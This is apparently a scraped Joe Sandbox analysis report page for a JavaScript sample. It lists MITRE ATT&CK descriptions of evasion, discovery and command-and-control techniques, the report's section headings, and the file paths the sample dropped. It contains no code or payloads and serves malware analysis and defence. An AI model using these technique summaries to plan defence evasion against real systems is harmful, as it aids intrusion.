Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1495528197325499932.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0b97968b-2396-4885-afd7-aa7f39cf7d0d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF44cefd.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b69a1194-bc7d-40e9-a8f2-700f8229cf19.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6396

Windows Analysis Report
1495528197325499932.js